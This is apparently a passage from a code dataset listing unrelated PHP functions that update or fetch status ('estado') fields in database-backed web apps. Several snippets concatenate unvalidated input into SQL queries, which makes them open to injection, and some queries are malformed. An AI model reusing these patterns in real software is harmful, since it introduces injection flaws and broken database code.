$this->captura('moneda','varchar');\n $this->captura('monto','numeric');\n $this->captura('monto_mb','numeric');\n\n\n //Ejecuta la instruccion\n $this->armarConsulta();\n\n\n $this->ejecutarConsulta();\n\n //Devuelve la respuesta\n return $this->respuesta;\n }", "function listEstado($id){\n\t$sql = 'SELECT * FROM tb_estado';\n\tif($id>0){\n\t\t$sql.=' WHERE id='.$id;\n\t}\n\t$resultado = $GLOBALS['con']->query($sql);\n\treturn $resultado;\n}", "public function actividadesPorSegmento()\n {\n //\n }", "public function anuncioGetEstado($idAnuncio){\n $query = \"SELECT estado FROM final_anuncio WHERE idAnuncio='\".$idAnuncio.\"'\";\n return $this->con->action($query);\n }", "function Editar($id, $fecha_emision, $condicion_pago, $estado, $fecha_pago, $observaciones_pago, $tipo) {\n $fecha=explode(\"-\", $fecha_emision);\n $fecha_vencimiento=date(\"Y-m-d\",mktime(0,0,0,$fecha[1],$fecha[2]+$condicion_pago,$fecha[0]));\n $q=\"UPDATE \".self::$table.\"\nSET condicionpago='$condicion_pago', fechaemision='$fecha_emision',\nfechavencimiento='$fecha_vencimiento', estado='$estado', fecha_pago='$fecha_pago',\nobservaciones_pago='$observaciones_pago', tipo='$tipo'\nWHERE id=$id\";\n return DBManager::execute($q);\n }", "public function ObtenerDatosEstado()\n\t{\n\t\t$query=\"SELECT * FROM estado WHERE idestado=\".$this->id_estado;\n\t\t$resp=$this->db->consulta($query);\n\t\t\n\t\t\n\t\treturn $resp;\n\t}", "function activar($id){\n\t\trequire_once('../conexion/conexion.php');\n\t\t$conn = conexion();\n\t\ttry{\n\t\t\t$conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);\n\t\t\t$sql = \"UPDATE tipousuario SET idestado = '1' where idtipoUsuario = '$id'\";\n\t\t\t$conn->exec($sql);\n\t\t}catch(PDOExcepcion $e){\n \t\t\techo \"Error:\".$e->getMessage();\n\t\t}\n\t}", "public function estado () {\n return $this->belongsTo(EstadoMedicion::class, 'estado_id');\n }", "function add_estado($params)\n\t{\n\t\t$this->db->insert('estado',$params);\n\t\treturn $this->db->insert_id();\n\t}", "function editar_producto_estatus($id, $id_estatus){\n\t\t$conexion_bd = conectar_bd();\n\t\t\n\t\t//Prepaprar la consulta\n\t\t$dml = 'UPDATE `producto` SET `id_estatus` = id_estatus WHERE `producto`.`id` = id ';\n\t\tif ( !($statement = $conexion_bd->prepare($dml)) ){\n\t\t\tdie(\"Error: (\" . $conexion_bd->errno . \") \" . $conexion_bd->error);\n\t\t\treturn 0;\n\t\t\t}\n\n\t\t// Unir los parametros de la funcion con los parametros de la consulta\n\t\t// El primer argumento de bind_param es el formato de cada parametro\n\t\tif (!$statement->bind_param(\"s\", $id_estatus)) {\n\t\t\tdie(\"Error en vinculación: (\" . $statement->errno . \") \" . $statement->error);\n\t\t\treturn 0;\n\t\t\t}\n\n\t\t// Ejecutar la consulta\n\t\tif (!$statement->execute()) {\n\t\t\tdie(\"Error en ejecución: (\" . $statement->errno . \") \" . $statement->error);\n\t\t\treturn 0;\n\t\t\t}\n\n\t\t//Desconectarse de la base de datos\n\t\t\t desconectar_bd($conexion_bd);\n\t\t\t return 1;\n \n\t}", "public function estado()\n {\n return $this->belongsTo(Estado::class, 'FK_GIT_Estado', 'PK_ESD_Id');\n }", "function anularVenta_servicio($idFactura, $estado){\n\n\t\t$this->db->set('estado', $estado);\t\n\t\t$this->db->where('idFactura' ,$idFactura);\n\t\t$this->db->update('ventaservicio');\n\t}", "function get_servicios_activos($id)\n {\n $id = $this->session->id;\n $this->db->select('*');\n $this->db->from('servicio');\n $this->db->where('estado', 1);\n $this->db->where('id_trabajador', $id);\n $this->db->order_by('fecha','DESC');\n $query = $this->db->get();\n return $query->result();\n }", "public function activar($categoria){\n\t\t\t\t\t\t\t\t\t$db=DB::conectar();\n\t\t\t\t\t\t\t\t\t$update=$db->prepare('UPDATE categoria SET estado = 1 WHERE id = :id;');\n\t\t\t\t\t\t\t\t\t$update->bindValue('id',$categoria->getId());\n\t\t\t\t\t\t\t\t\t$update->execute();\t\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t}", "public function activar($id, $codigo)\n {\n //si no exite el id o codigo entonces muetra un error de cuenta inexistente\n //y renderiza a la vista activar registro\n if(!$this->filtrarInt($id) || !$this->filtrarInt($codigo)){\n $this->_view->assign('_error', 'Esta cuenta no existe');\n $this->_view->renderizar('activar', 'registro');\n exit; \n }\n //guarda una fila con la consuta de conseguir usuario\n $row = $this->_registro->getUsuario(\n $this->filtrarInt($id),\n $this->filtrarInt($codigo)\n );\n //si no existe la fila entonces se produce un error de cuenta inexistente\n if(!$row){\n $this->_view->assign('_error', 'Esta cuenta no existe');\n $this->_view->renderizar('activar', 'registro');\n exit;\n }\n //si el estado del usuario ya esta activado ser produce un error de cuenta ya activada\n //muestra la vista activar registro.\n if($row['estado'] == 1){\n $this->_view->assign('_error', 'Esta cuenta ya ha sido activada');\n $this->_view->renderizar('activar', 'registro');\n exit;\n }\n //Cambia el estado del usuario a activado\n $this->_registro->activarUsuario(\n $this->filtrarInt($id),\n $this->filtrarInt($codigo)\n );\n //consigue nuevamente información del usuario y lo guarda en una fila\n $row = $this->_registro->getUsuario(\n $this->filtrarInt($id),\n $this->filtrarInt($codigo)\n );\n //si el estado sigue siendo igual a 0 entonces se produce un erro de activación pendiente\n if($row['estado'] == 0){\n $this->_view->assign('_error', 'Error al activar la cuenta, por favor intente mas tarde');\n $this->_view->renderizar('activar', 'registro');\n exit;\n }\n //En otros casos se muestra activación realizada con exito y se muetra vista activar registro.\n $this->_view->assign('_mensaje', 'Su cuenta ha sido activada');\n $this->_view->renderizar('activar', 'registro');\n }", "public function alterarstatus ($dados) {\n\n $c = new CRUD();\n $fim = [];\n\n if ($_SESSION['tipo_id'] > 4) {\n\n $verifica = $c->Selecionar(\"*\", \"agendamento\", \" where status = 3 and tecnico_id = {$_SESSION['id']}\");\n\n if (count($verifica) > 0 and $dados['status'] == 3) {\n $fim['msg'] = \"Não é possível concluir essa ação. Uma solicitação encontra-se em andamento.\";\n } else {\n if ($dados['status'] == 1) {\n $data = date(\"Y-m-d H:i:s\");\n $valores = \"status = '{$dados['status']}', conclusao = '{$data}'\";\n } else {\n $data = null;\n $valores = \"status = '{$dados['status']}', conclusao = '{$data}'\";\n }\n\n $s = $c->Update(\"agendamento\", $valores, \" where id =\" . $dados['id']);\n if ($s > 0) {\n $fim['msg'] = \"Salvo.\";\n }\n }\n\n } else {\n if ($dados['status'] == 1) {\n $data = date(\"Y-m-d H:i:s\");\n $valores = \"status = '{$dados['status']}', conclusao = '{$data}'\";\n } else {\n $data = null;\n $valores = \"status = '{$dados['status']}', conclusao = '{$data}'\";\n }\n\n\n $s = $c->Update(\"agendamento\", $valores, \" where id =\" . $dados['id']);\n if ($s > 0) {\n $fim['msg'] = \"Salvo.\";\n }\n }\n\n\n return $fim;\n\n }", "public function editar_estado($id_usuario, $estado)\n {\n\n\n $conectar = parent::conexion();\n parent::set_names();\n\n //el parametro est se envia por via ajax\n if ($_POST[\"est\"] == \"0\") {\n\n $estado = 1;\n } else {\n\n $estado = 0;\n }\n\n $sql = \"update usuarios set \n \n estado=?\n\n where \n id_usuario=?\n\n\n \t \t\";\n\n $sql = $conectar->prepare($sql);\n\n\n $sql->bindValue(1, $estado);\n $sql->bindValue(2, $id_usuario);\n $sql->execute();\n }", "function usuarios_estados_datos()\n\t{\n\n\t\tparent::objeto();\n\n\t\t$this->tabla=\"usuarios_estados\";\n\t\t$this->campoClave=\"Id\";\n\t\t$this->id=null;\n\t\t\n\t\t\n$v=new Variable(2,$this->tabla,\"Id\",1);\n\t\t\t\n$v->clave=true;\n\t\t\t\n\t\t\t\n$v->autonumerica=true;\n\t\t\t\n$this->agregarVariable2($v);\n$v=new Variable(1,$this->tabla,\"Estado\",2);\n$this->agregarVariable2($v);\n\n\t}", "public function estado()\n {\n return $this->belongsTo(Estado::class, 'FK_ECT_Estado', 'PK_ESD_Id');\n }", "function update_estado($idEstado, $params)\n\t{\n\t\t$this->db->where('idestado',$idEstado);\n\t\treturn $this->db->update('estado',$params);\n\t}", "function siguienteEstado(){\n $this->procedimiento = 'asis.ft_vacacion_ime';\n $this->transaccion = 'ASIS_SIGAV_IME';\n $this->tipo_procedimiento = 'IME';\n //Define los parametros para la funcion\n $this->setParametro('id_proceso_wf_act', 'id_proceso_wf_act', 'int4');\n $this->setParametro('id_estado_wf_act', 'id_estado_wf_act', 'int4');\n $this->setParametro('id_funcionario_usu', 'id_funcionario_usu', 'int4');\n $this->setParametro('id_tipo_estado', 'id_tipo_estado', 'int4');\n $this->setParametro('id_funcionario_wf', 'id_funcionario_wf', 'int4');\n $this->setParametro('id_depto_wf', 'id_depto_wf', 'int4');\n $this->setParametro('obs', 'obs', 'text');\n $this->setParametro('json_procesos', 'json_procesos', 'text');\n //Ejecuta la instruccion\n $this->armarConsulta();\n $this->ejecutarConsulta();\n //Devuelve la respuesta\n return $this->respuesta;\n }", "function delete_estado($idEstado, $params)\n\t{\n\t\t$this->db->where('idestado',$idEstado);\n\t\treturn $this->db->update('estado',$params);\n\t}", "public function actionCreateDatos($id) {\n $traza = Traza::VerificarTraza($id); // verifica el guardado de la traza\n if ($traza != 2) {\n Generico::renderTraza($id); //renderiza a la traza\n }\n\n $model = Beneficiario::model()->findByPk($id);\n $estado = new Tblestado;\n $municipio = new Tblmunicipio;\n $parroquia = new Tblparroquia;\n $faovPromedio = ConsultaOracle::getFaov($id, 1); //consulta la funcion faov por id de persona, para mostrar el calculo de promedio\n $faovMensual = ConsultaOracle::getFaov($id, 2); //consulta la funcion faov por id de persona, para mostrar el calculo de ingreso mesual\n $model->ingreso_mensual = ($faovMensual) ? $faovMensual : '0.00';\n $model->ingreso_promedio_faov = ($faovPromedio) ? $faovPromedio : '0.00';\n\n// $consulta = UnidadFamiliar::model()->findByAttributes(array('beneficiario_id' => $id)); // consulta a Unidad Familiar por el id_beneficiario \n//\n// $sqlIngreso = \"select sum(ingreso_mensual) as ingreso from grupo_familiar where unidad_familiar_id=\".$consulta->id_unidad_familiar.\"\"; //consulta que suma cuanto es el ingreso de grupo familiar por id_beneficiario\n// $rowingreso = Yii::app()->db->createCommand($sqlIngreso)->queryRow();\n//// echo '<pre>'; var_dump($rowingreso); die(); \n// $consulta->ingreso_total_familiar=$rowingreso['ingreso']; //insert para unidad familiar ingreso_total_familiar\n// \n// $sqlFaov = \"select count(*) as faov from grupo_familiar where unidad_familiar_id=\".$consulta->id_unidad_familiar.\"\"; //consulta que suma cuantos cotizan en faov del grupo familiar por id_beneficiario\n// $rowFaov = Yii::app()->db->createCommand($sqlFaov)->queryRow();\n// \n// $consulta->total_personas_cotizando=$rowFaov['faov']; //insert para unidad familiar total de personas cotizando\n\n\n if (isset($_POST['Beneficiario']['parroquia_id'])) {\n $model->cedula = 'campo';\n $model->attributes = $_POST['Beneficiario'];\n $model->parroquia_id = $_POST['Beneficiario']['parroquia_id'];\n $model->urban_barrio = $_POST['Beneficiario']['urban_barrio'];\n $model->av_call_esq_carr = $_POST['Beneficiario']['av_call_esq_carr'];\n $model->zona = $_POST['Beneficiario']['zona'];\n $model->condicion_trabajo_id = $_POST['Beneficiario']['condicion_trabajo_id'];\n $model->fuente_ingreso_id = $_POST['Beneficiario']['fuente_ingreso_id'];\n $model->condicion_laboral = $_POST['Beneficiario']['condicion_laboral'];\n $model->sector_trabajo_id = $_POST['Beneficiario']['sector_trabajo_id'];\n $model->nombre_empresa = $_POST['Beneficiario']['nombre_empresa'];\n $model->direccion_empresa = $_POST['Beneficiario']['direccion_empresa'];\n $model->telefono_trabajo = $_POST['Beneficiario']['telefono_trabajo'];\n $model->gen_cargo_id = $_POST['Beneficiario']['gen_cargo_id'];\n $model->observacion = $_POST['Beneficiario']['observacion'];\n $model->estatus_beneficiario_id = 222;\n $model->usuario_id_actualizacion = Yii::app()->user->id;\n\n\n if ($model->save()) {\n\n $IdBeneficiarioTmp = $model->beneficiario_temporal_id;\n $n = BeneficiarioTemporal::model()->updateByPk($IdBeneficiarioTmp, array(\n 'estatus' => 79,\n 'usuario_id_actualizacion' => Yii::app()->user->id,\n 'fecha_actualizacion' => 'now()'\n ));\n\n $idtraza = Traza::ObtenerIdTraza($model->id_beneficiario); // pemite la busqueda de la id de la traza \n $delete = Traza::model()->findByPk($idtraza)->delete();\n\n $this->redirect(array('admin'));\n Yii::app()->end();\n }\n }\n\n $this->render('createDatos', array(\n 'model' => $model, 'municipio' => $municipio, 'estado' => $estado, 'parroquia' => $parroquia,\n ));\n }", "public function eliminarEstadoCivil($id){\n $registro = EstadoCivil::find($id);\n $registro->estado = 0;\n $registro->save();\n }", "public function updateActById(){\n\t\ttry {\n $stmt=$this->db()->prepare(\"UPDATE trabajador set \n activo=:activo, fecha_baja=:fecha_baja WHERE nif=:nif\");\n\t\t\t$stmt->bindValue(':nif', $this->nif);\n $stmt->bindValue(':activo', $this->activo);\n\t\t\t$stmt->bindValue(':fecha_baja', $this->fecha_baja);\n $_SESSION['errMsg']['error'] = \"Usuario dado de baja\";\n\t\t\t$_SESSION['errMsg']['color']= \"alert-success\";\n\t\t\t$stmt->execute();\n\t\t} catch(PDOException $e) {\n $_SESSION['errMsg']['error'] = \"No se ha podido dar de baja el usuario\";\n\t\t\t$_SESSION['errMsg']['color']= \"alert-danger\";\n }\n }", "function cambiarEstado(){\n global $conexion, $data;\n $id = $data[\"id\"];\n $estado = $data[\"estado\"];\n $resultado = mysqli_query($conexion,\"UPDATE usuario SET usu_estado='$estado' WHERE usu_id='$id'\");\n echo validarError($conexion, true, $resultado);\n }", "private function tbl_guiones_registro_afectacion() {\r\n\t\t\t$this->guiones_registro_afectacion = $this->esquema->createTable('GUIONES_REGISTRO_AFECTACION');\r\n\t\t\t$this->guiones_registro_afectacion->addColumn('ID', 'bigint', array(\r\n\t\t\t\t'notnull' => true,\r\n\t\t\t\t'autoincrement' => true, \r\n\t\t\t\t'length' => 20,\r\n\t\t\t\t'comment' => 'ID de la afectacion'\r\n\t\t\t));\r\n\t\t\t$this->guiones_registro_afectacion->addColumn('NOMBRE', 'string', array(\r\n\t\t\t\t'notnull' => true, \r\n\t\t\t\t'length' => 255,\r\n\t\t\t\t'comment' => 'Nombre de la afectacion'\r\n\t\t\t));\r\n\t\t\t$this->guiones_registro_afectacion->addColumn('ESTADO', 'bigint', array(\r\n\t\t\t\t'notnull' => true, \r\n\t\t\t\t'length' => 20,\r\n\t\t\t\t'comment' => 'ID del Estado de la afectacion [ID de la tabla ESTADOS]'\r\n\t\t\t));\r\n\t\t\t$this->guiones_registro_afectacion->setPrimaryKey(array('ID'));\r\n\t\t\t$this->guiones_registro_afectacion->addForeignKeyConstraint($this->estados, array('ESTADO'), array('ID'), $this->opcForeign);\r\n\t\t}", "public function activar()\n {\n $id = $this->input->post('activar');\n $this->load->model('Usuario_model');\n $this->Usuario_model->activar_cuenta($id);\n $this->listar_usuarios();\n }", "public function activeAction(Request $request, $id)\n\n {\n\n $resut = [];\n\n\n $em = $this->getDoctrine()->getManager();\n $query = $em->createQuery(\"UPDATE testtestBundle:Offre u SET u.active=:pay WHERE u.id =:pay2\")\n ->setParameter('pay', 1)->setParameter('pay2', $id);\n $resut = $query->getResult();\n $em1 = $this->getDoctrine()->getManager();\n $modeles1 = $em1->getRepository(Offre::class)->findAll();\n\n $this->addFlash(\"success\", \"offre activé avec success\");\n\n return $this->render('testtestBundle:Default:listeoffre.html.twig', array('modeles' => $modeles1));\n\n\n }", "public function _insertar($tipo_operacion,$estado)\n {\n $sql = \"INSERT INTO tbl_tipo_operaciones(tipo_operacion,estado) \n VALUES ('$tipo_operacion','$estado')\"; \n \n $id_usuario=$_SESSION['id'];\n $objeto=\"operaciones\";\n \n \n $accion=\"CREADO\"; \n $descripcion='se creo una operacion';\n ejecutarConsulta(\"INSERT INTO tbl_bitacoras(id_usuario,objeto,accion,descripcion,Antes,Despues) \n VALUES (' $id_usuario','$objeto','$accion','$descripcion', ) \");\n \n return ejecutarConsulta($sql);\n }", "public function modificarEstado(){\n\t\t$firephp = FirePHP::getInstance(True);\n\t\t$this->load->database();\n\t\t$this->load->model('Estado');\n\t\t//TODO Deshardcodear el idUsuario cuando se da cambia el estado (cuando este listo el manejo de sesions de usuarios).\n\t\t$idUsuario=1;\n\t\t$idBache=$_POST[\"idBache\"];\n\t\t$estado=$_POST[\"estadoBache\"];\n\t\t$firephp->log(\"idBache=\".$idBache.\";idUsuario=\".$idUsuario.\";estado=\".$estado);\n\t\t$this->Estado->cambiarEstado($idBache,$idUsuario,$estado);\n\t\t$firephp->log(\"Se cambio el estado del bache!\");\n\t}", "function entrada_por_traspaso(){\n\t\t$e= new Entrada();\n\t\t$e->usuario_id=$GLOBALS['usuarioid'];\n\t\t$e->empresas_id=$GLOBALS['empresaid'];\n\t\t$related = $e->from_array($_POST);\n\t\t//if($e->costo_unitario=='undefined') $e->costo_unitario=0;\n\t\t$e->espacios_fisicos_id=$GLOBALS['espacios_fisicos_id'];\n\t\t$e->costo_total=($e->cantidad * $e->costo_unitario);\n\t\t$e->cproveedores_id=1;\n\t\t$e->fecha=date(\"Y-m-d H:i:s\");\n\t\tif($e->id==0)\n\t\t\tunset($e->id);\n\t\tif($e->save($related)) {\n\t\t\techo $e->id;\n\t\t} else\n\t\t\techo 0;\n\t}", "public function update_ofert_activate($id)\n {\n $this->db->update('ofertas_negocios', array('ofertaActivacion'=>'1'), array('ofertaId'=>$id));\n }", "public function updateComentary($Id,$estado,$fecha,$comentario){\n $sql=\"UPDATE \".self::$tablename.\" SET FechaAutorizado = '{$fecha}',AutorizadoPago = '{$estado}', Comentario='{$comentario}' WHERE Id='{$Id}'\";\n return Executor::doit($sql);\n\n }", "public function cambiarEstado(){\r\n $sql = \"UPDATE usuarios SET Estado = (CASE WHEN Estado = 1 THEN 0 ELSE 1 END)\r\n WHERE IdUsuario = '{$this->idUsuario}';\";\r\n $res = $this->conexion->setQuery($sql);\r\n return $res;\r\n}", "public function cambiarEstado($id, $estado){\n \n $empleado = Empleados::find($id);\n\n if($empleado==null){\n return redirect()->route('empleado.index');\n }\n $empleado->update(['estado'=> $estado]);\n\n return redirect()->route('empleado.index');\n }", "public function modificarEstadoDocumetoCodigoAsociado($codigo,$estado){\n $filter->COMPGUI_FlagEstado = $estado;\n $where = array(\"CPP_Codigo\" => $codigo);\n $this->db->where($where);\n $this->db->update('cji_comprobante_guiarem', (array) $filter);\n }", "public function __ModificaEstado($id){\n\t\t\t$foo = false;\n\t\t\t$objeto = new clsEjecutar();\n\t\t\t\n\t\t\t$estado =\"E\";\n\t\t\t$sql = \"UPDATE lmp_proveedor SET prov_estado='\".$estado.\"'\n\t\t\t\t\t\t WHERE prov_codigo='\".$id.\"'\";\n\t\t\t\t\t\t\t\t\t // echo($sql);\n\t\t\t$resultado=$objeto->insertarRegistro($sql);\n \n echo '<script > document.location=\"../mantenimiento/ConsultaProveedor.php\" </script>';\n\t\t\treturn $resultado;\n \n \n\t\t}", "public function getActivo()\n {\n return $this->activo;\n }", "public function setEstado($estado)\n {\n $this->estado =$estado;\n }", "public function inserir($id_atividade = '172', $status_obs = '', $id_usuario, $id_pedido_item, $status_dias=null) {\n $data_i = date('Y-m-d H:i:s');\n $this->table = 'vsites_pedido_status';\n $this->fields = array('id_atividade', 'status_obs', 'data_i', 'id_usuario', 'id_pedido_item');\n $this->values = array('id_atividade' => $id_atividade, 'status_obs' => $status_obs,\n 'data_i' => $data_i, 'id_usuario' => $id_usuario,\n 'id_pedido_item' => $id_pedido_item);\n if ($status_dias != null) {\n $this->fields[] = 'status_dias';\n $this->values['status_dias'] = $status_dias;\n }\n $this->insert();\n }", "public function activo()\n\t{\n\t\treturn $this->morphOne(\n\t\t\tActivo::class,\n\t\t\t'Activo'\n\t\t);\n\t}", "function getId_activ()\n {\n if (!isset($this->iid_activ) && !$this->bLoaded) {\n $this->DBCarregar();\n }\n return $this->iid_activ;\n }", "function getId_activ()\n {\n if (!isset($this->iid_activ) && !$this->bLoaded) {\n $this->DBCarregar();\n }\n return $this->iid_activ;\n }", "function get_nombre_estado($idEstado)\n\t{\n\t\t$this->db->select('estado');\n\t\treturn $this->db->get_where('estado',array('idEstado'=>$idEstado))->row_array();\n\n\t}", "public function postEstadoBooking($id, ServiciosOperadorRepository $gestion) {\n\n $serviciosBase = array();\n //obtengo los servicios ya almacenados de la bdd\n $ServiciosOperador = $gestion->getEstadoBookingCalendar($id);\n\n foreach ($ServiciosOperador as $servicioBase) {\n\n\n if ($servicioBase->activo == 1){ \n $serviciosBase['activo'] = 0;\n }else{\n $serviciosBase['activo'] = 1;\n }\n\n $serviciosBase['id'] = $servicioBase->id;\n }\n\n\n $gestion->storeUpdateEstadoBookingCalendar($serviciosBase, $ServiciosOperador);\n return response()->json(array('success' => true));\n }", "public function guardar($actividadId,$usuarioId,$nivelEducativoId){\n $actividadUsuario = $this->newEntity();\n $actividadUsuario->usuario_id = $usuarioId;\n $actividadUsuario->actividad_id = $actividadId;\n $actividadUsuario->niv_edu_id = $nivelEducativoId;\n $guardado = $this->connection()->transactional(\n function() use($actividadUsuario){\n if(!$this->save($actividadUsuario)){\n return false;\n }\n return true;\n }\n );\n return $guardado;\n\n }", "function get_servicios_join_activos($id)\n {\n $id = $this->session->id;\n $this->db->select('u.id as id_trabajador, u.nombre, u.apellido_paterno, s.id, s.titulo, s.detalles, s.fecha, s.total');\n $this->db->from('usuario as u');\n $this->db->join('servicio as s', 's.id_trabajador = u.id', 'inner');\n $this->db->where('estado', 1);\n $this->db->where('id_cliente', $id);\n $this->db->order_by('s.fecha','DESC');\n $query = $this->db->get();\n return $query->result();\n }", "public function aprova($id){\n \n $cliente = Cliente::find($id);\n //echo $cliente->status;\n $cliente->status = 'aprovado';\n $cliente->dataStatus = date_create()->format('Y-m-d H:i:s');\n $cliente->save();\n return redirect()->route('cliente.index');\n }", "public function getIdAct(){\n\t\treturn $this->idAct;\n\t}", "public function actionajaxServiceTypeStatus()\n {\n \t //echo \"<pre>\";print_r($_REQUEST);die;\n \t $id=$_REQUEST['id'];\n \t $rec=ServiceTypes::model()->findByPk($id);\n \t $status=$rec->status;\n \n if($status==0)\n {\n \t $rec->status=1;\n \t $rec->save(false);\n\n }\t\n else\n {\n \t $rec->status=0;\n \t $rec->save();\n\n }\n\n\n }", "public function consultarEstadoPedido($idEstadoPedido, \n\t\t\t\t\t\t\t\t\t\t EstadoPedidoBean $estadoPedidoBean);", "public function postEstadoEspecialidad($id, ServiciosOperadorRepository $gestion) {\n\n $serviciosBase = array();\n //obtengo los servicios ya almacenados de la bdd\n $ServiciosOperador = $gestion->getEstadoEspecialidad($id);\n\n foreach ($ServiciosOperador as $servicioBase) {\n\n\n if ($servicioBase->activo == 1){ \n $serviciosBase['activo'] = 0;\n }else{\n $serviciosBase['activo'] = 1;\n }\n\n $serviciosBase['id'] = $servicioBase->id;\n }\n\n\n $gestion->storeUpdateEstadoEspecialidadPrincipal($serviciosBase, $ServiciosOperador);\n return response()->json(array('success' => true));\n }", "public function getEstado(){\n\t\treturn $this->estado;\n\t}", "function lista_dosificacion_activa($tipo)\n {\n $sql=\"select * from dosificacion_factura df \n WHERE df.estado='Activo' and df.tipo_dosificacion='$tipo' Order by df.actividad \";\n $consulta = $this->db->query($sql);\n return($consulta);\n }", "public function listarActivos(){\n $sql = \"SELECT c.idcompra, c.nrofactura, date(c.fecha) as fecha, p.razonsocial AS proveedor, concat(per.nombre, ' ', per.apellido) AS personal, c.monto, c.estado \n FROM compras c JOIN proveedores p ON c.idproveedor = p.idproveedor JOIN personales per ON c.idpersonal = per.idpersonal WHERE c.estado = '1'\n ORDER BY c.idcompra DESC\";\n return ejecutarConsulta($sql);\n }", "public function setEstado($estado) {\n $this->estado = $estado;\n }", "public function estado_trabajo($idveh=FALSE,$estado=FALSE)\r\n {\r\n \r\n $sql=\"update trabajo set estado='\". $estado .\"' where patente='\". $idveh .\"'\";\r\n $this->db->query($sql);\r\n }", "public function __construct(){\n$this->acId = \"\";\n$this->acNombre = \"\";\n$this->acId_estado = \"\";\n}", "public function edit(actividad $actividad)\n {\n //\n }", "public function ciudad(){\r\n return $this->hasMany('ciudad','estado_id');\r\n }", "public function status($id, $status, $sistema)\n {\n //\n if(!(Gate::denies('read_equipamento'))){\n\n $equipamento = Equipamento::find($id); \n \n //LOG ----------------------------------------------------------------------------------------\n $this->log(\"equipamento.index.status=\".$status);\n //--------------------------------------------------------------------------------------------\n\n $equipamento->status = $status; \n\n //LOG ----------------------------------------------------------------------------------------\n $this->log(\"ticket.update.id=\".$id);\n //--------------------------------------------------------------------------------------------\n\n if($equipamento->save()){\n return redirect('equipamentos/dashboard/'.$sistema)->with('success', 'Status atualizado com sucesso!');\n }else{\n return redirect('equipamentos/dashboard/'.$sistema)->with('danger', 'Houve um problema, tente novamente.');\n }\n }\n\n\n else{\n return redirect('erro')->with('permission_error', '403');\n }\n }", "public function status()\n {\n return $this->belongsTo(StatusAgendamento::class);\n }", "public function alta_historicoIo($elemento,$estado_anterior=NULL){\n if(!empty($estado_anterior)) {\n if ($estado_anterior != $elemento['status']) {\n $this->db->insert('historico_io', $elemento);\n }\n }\n else {\n $this->db->insert('historico_io', $elemento);\n }\n //echo $this->db->last_query();exit;\n }", "function upStatusIncidencia($idIncidencia, $status) {\r\n $nuevoStatus['iStatus'] = $status;\r\n $this->db->where('idIncidencia', $idIncidencia);\r\n $query = $this->db->update('incidencias_t', $nuevoStatus);\r\n return $query;\r\n }", "function adddEditAddStatus($table, $status, $id)\n {\n $data = array('is_active' => $status);\n $where = $table . \"_id = '$id'\";\n $builder = $this->db->table($table);\n $builder->where($where);\n $builder->set($data);\n $builder->update();\n }", "public function setActive($id)\n {\n }", "public function setActive($id)\n {\n }", "public function updateStatus($id_envio)\r\n {\r\n $sql = 'SELECT `id_envio_order`, `num_albaran`'\r\n . 'FROM `' . _DB_PREFIX_ . 'tipsa_envios`'\r\n . 'WHERE `id_envio` = ' . (int) $id_envio;\r\n $envioObj = Db::getInstance()->getRow($sql);\r\n\r\n $albaran = $envioObj['num_albaran'];\r\n $id_order = $envioObj['id_envio_order'];\r\n\r\n if (Configuration::get('TIPSA_MODE') == 1) {\r\n $tipsaCodigoAgencia = Configuration::get('TIPSA_CODAGE');\r\n } else {\r\n $tipsaCodigoAgencia = Configuration::get('TIPSA_CODAGE_TEST');\r\n }\r\n\r\n $urlws = $this->getUrlConfiguration('WS');\r\n\r\n $note = $this->loginTipsaUser();\r\n\r\n foreach ($note as $value) {\r\n $details = $value->getElementsByTagName(\"strSesion\");\r\n $idsesion = $details->item(0)->nodeValue;\r\n }\r\n\r\n $note = webservicetipsa::wsConsEnvEstado($idsesion, $tipsaCodigoAgencia, $tipsaCodigoAgencia, $albaran, $urlws);\r\n\r\n foreach ($note as $value) {\r\n $estado = $value->getElementsByTagName(\"strEnvEstados\")->item(0)->nodeValue;\r\n $error = (isset($value->getElementsByTagName(\"faultstring\")->item(0)->nodeValue)) ? $value->getElementsByTagName(\"faultstring\")->item(0)->nodeValue : null;\r\n }\r\n\r\n if (isset($error) && $error != null) {\r\n PrestaShopLogger::addLog('ErrorObtainingthestatesfromWebservice : ' . $error);\r\n }\r\n\r\n $estenv = explode('V_COD_TIPO_EST', $estado);\r\n $elements = count($estenv);\r\n $estado = explode('\"', $estenv[$elements - 1]);\r\n $estado = (int) $estado[1];\r\n\r\n //assing for the states in with information of dinapaq\r\n switch ($estado) {\r\n // $estado = 1 --> TRANSITO\r\n case 1:\r\n $this->updateOrderStatus(Configuration::get('TIPSA_TRANSITO'), $id_order);\r\n break;\r\n // $estado = 2 --> REPARTO\r\n case 2:\r\n $this->updateOrderStatus(Configuration::get('TIPSA_TRANSITO'), $id_order);\r\n break;\r\n // $estado = 3 --> ENTREGADO\r\n case 3:\r\n $this->updateOrderStatus(Configuration::get('TIPSA_ENTREGADO'), $id_order);\r\n break;\r\n // $estado = 4 --> INCIDENCIA\r\n case 4:\r\n $this->updateOrderStatus(Configuration::get('TIPSA_INCIDENCIA'), $id_order);\r\n break;\r\n default:\r\n PrestaShopLogger::addLog('Order State not exists in PrestaShop or not found. ID: ' . $estado);\r\n break;\r\n }\r\n }", "public function habilitar($sId = array()) { //se habilita un registro cambiando su estado a 1\n try {\n $cambiarEstado = 1;\n\n if (isset($sId[0])) {\n $actualizar = \"UPDATE contacto SET estado = ? WHERE IdContacto= ? ;\";\n $actualizacion = $this->conexion->prepare($actualizar);\n $actualizacion = $actualizacion->execute(array($cambiarEstado, $sId[0]));\n return ['actualizacion' => $actualizacion, 'mensaje' => \"registro activado nuevamente.\"];\n }\n } catch (PDOException $pdoExc) {\n return ['actualizacion' => $actualizacion, 'mensaje' => $pdoExc];\n }\n }", "public function cambiarEstado($id = null, $estado = null, $detalle = null, $aceptado = false, $reversado = false)\n\t{\n\t\tif ( ! $this->exists($id) || ! $estado )\n\t\t{\n\t\t\treturn false;\n\t\t}\n\t\t$data\t\t\t\t\t= array();\n\n\t\tswitch ( $estado )\n\t\t{\n\t\t\tcase 'PENDIENTE':\n\t\t\t\t$data\t\t= array(\n\t\t\t\t\t'estado_compra_id'\t=> $this->pendiente\n\t\t\t\t);\n\t\t\t\tbreak;\n\t\t\tcase 'RECHAZO_TRANSBANK':\n\t\t\t\t$data\t\t= array(\n\t\t\t\t\t'estado_compra_id'\t=> $this->rechazo_transbank\n\t\t\t\t);\n\t\t\t\tbreak;\n\t\t\tcase 'RECHAZO_COMERCIO':\n\t\t\t\t$data\t\t= array(\n\t\t\t\t\t'estado_compra_id'\t=> 